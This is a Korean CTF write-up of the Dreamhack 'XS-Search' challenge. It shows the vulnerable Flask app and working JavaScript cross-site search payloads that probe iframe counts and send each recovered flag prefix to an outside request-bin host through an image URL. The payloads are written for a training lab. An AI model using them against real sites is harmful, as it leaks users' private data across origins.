본문 바로가기

Web Hacking/Dreamhack

[Dreamhack] XS-Search write up

 

#!/usr/bin/python3
from flask import Flask, request, render_template, make_response, redirect, url_for
from selenium.common.exceptions import TimeoutException
from urllib.parse import urlparse
from selenium import webdriver
from selenium.webdriver.chrome.service import Service
from hashlib import md5
import urllib
import os

app = Flask(__name__)
app.secret_key = os.urandom(32)

try:
    FLAG = open("./flag.txt", "r").read()
except:
    FLAG = "[**FLAG**]"

notes = {
    (FLAG, True), 
    ("Hello World", False), 
    ("DreamHack", False), 
    ("carpe diem, quam minimum credula postero", False)
}

def read_url(url, cookie={"name": "name", "value": "value"}):
    cookie.update({"domain": "127.0.0.1"})
    try:
        service = Service(executable_path="/chromedriver")
        options = webdriver.ChromeOptions()
        for _ in [
            "headless",
            "window-size=1920x1080",
            "disable-gpu",
            "no-sandbox",
            "disable-dev-shm-usage",
        ]:
            options.add_argument(_)
        driver = webdriver.Chrome(service=service, options=options)
        driver.implicitly_wait(3)
        driver.set_page_load_timeout(3)
        driver.get(url)
    except TimeoutException as e:
        driver.quit()
        return True
    except Exception as e:
        driver.quit()
        # return str(e)
        return False
    driver.quit()
    return True


@app.route("/")
def index():
    return render_template('index.html')


@app.route('/search')
def search():
    query = request.args.get('query', None)
    if query == None:
        return render_template("search.html", query=None, result=None)
    for note, private in notes:
        if private == True and request.remote_addr != "127.0.0.1" and request.headers.get("HOST") != "127.0.0.1:8000":
            continue
        if query != "" and query in note:
            return render_template("search.html", query=query, result=note)
    return render_template("search.html", query=query, result=None)


@app.route("/submit", methods=["GET", "POST"])
def submit():
    if request.method == "GET":
        return render_template("submit.html")
    elif request.method == "POST":
        url = request.form.get("url", "")
        if not urlparse(url).scheme.startswith("http"):
            return '<script>alert("wrong url");history.go(-1);</script>'
        if not read_url(url):
            return '<script>alert("wrong??");history.go(-1);</script>'

        return '<script>alert("good");history.go(-1);</script>'


app.run(host="0.0.0.0", port=8000)

 

 

search


 

  • 사용자 입력을 받는다.
  • notes 변수를 순회하며 admin이면 flag를 출력한다.
  • admin이 아니면서 사용자 입력 값이 notes에 존재하면 사용자 입력값을 보여주며, 없을 경우 not found를 보여준다.

 

 

👆 사용자 입력 값이 notes에 있을 경우

 

 

👆 사용자 입력 값이 notes에 없을 경우

 

 

 

search.html


{% extends "base.html" %}
{% block title %}Search{% endblock %}

{% block head %}
  {{ super() }}
{% endblock %}

{% block content %}
<h2>Search</h2><br/>
{% if result %}
  <h3>Searching "{{ query }}" found</h3>
  <iframe srcdoc="<pre>{{ result }}</pre>"></iframe>
{% elif query %}
  <h3> Searching "{{ query }}" not found</h3>
{% else %}
  <form method="GET" class="form-inline">
      <div class="form-group">
          <label class="sr-only" for="query">/</label>
          <div class="input-group">
              <div class="input-group-addon">Query: </div>
              <input type="text" class="form-control" id="query" name="query" placeholder="DreamHack">
          </div>
      </div>
      <button type="submit" class="btn btn-primary">Search</button>
  </form>
{% endif %}
{% endblock %}

 

사용자 입력 값이 존재하면 iframe을 생성한다.

 

 

취약점 분석


search페이지에서 flag값을 읽어오기에는 admin일 경우에만 가능하기 때문에 불가능하다.

 

XS-search를 이용하여 iframe의 개수를 통해 flag의 유무를 판단할 수 있다. 또한, submit에서 admin이 다른 origin에 방문하기 때문에 다른 서버에 html파일을 올려 놓으면 flag를 유추할 수 있다.

 

 

 

취약점 테스트


<iframe id="iframe"></iframe>
<img id="img">
<script>
const iframe = document.getElementById("iframe");
iframe.src = "http://localhost:8000/search?query=DH{";
iframe.onload = () => {
    img.src = `https://lcclzin.request.dreamhack.games/${iframe.contentWindow.frames.length}`;
};
</script>

 

위 코드는 DH{가 notes에 존재하는지 확인하는 코드이다.

 

  • iframe이 생성되기 때문에 iframe과 iframe이 로드 되었을 때 GET 요청을 보낼 img태그를 선언한다.
  • iframe이 로드 되면 DH 키워드가 존재하는 경우 iframe이 로드되며 그 속에 iframe이 또 생성된다.

 

해당 코드를 통해 DH 키워드를 검색할 수 있으며 그 때 iframe이 생성되는지 또한 확인이 가능하다.

 

먼저 개인 서버를 열어 해당 코드를 업로드 해놓고 admin에게 방문하도록한다.

 

 

request bin에 방문 기록이 남았으므로 해당 키워드가 존재함을 알 수 있다.

 

 

exploit


 

<iframe id="iframe"></iframe>
<img id="img">
<script>
    async function req(url) {
        return await new Promise((resolve, reject) => {
            const iframe = document.getElementById("iframe");
            iframe.src = url;
            iframe.onload = () => { 
                if (iframe.contentWindow.frames.length != 0)
                    return resolve();
                else
                    return reject();
            };
        });
    }

    async function search(query) {
        try {
            await req(
              `http://localhost:8000/search?query=${query}`
            );
            return true;
        } catch (e) {
            return false;
        }
    }

    async function exploit() {
        let chars = "0123456789abcdef}"
        let secret = "DH{";

        while (!secret.includes("}")) {
            for (let c of chars) {
                if (await search(secret + c)) {
                    secret += c;
                    img.src = `https://imzljgl.request.dreamhack.games/${secret}`;
                    break;
                }
            }
        }
    }

    exploit();
</script>

 

코드는 비동기적으로 작성해야 이전 요청이 끊어지지 않은채로 전송되게 된다. await을 사용해야 호출된 함수를 기다리기 때문에 await함수를 사용해야한다. 코드가 await으로 인해 동기적으로 작동하는 것처럼 보이나 동기적으로 작성할 경우 이전 요청이 취소된 채 새로운 요청만이 전송되게 된다. 

 

익스 페이로드의 경우 자바스크립트 비동기 함수에 대한 이해가 많이 필요해 보인다..

 

셀레니움 timeout이 3초로 설정 되어 있기 때문에 찾을 키워드 값을 수정해가며 여러번 전송했다.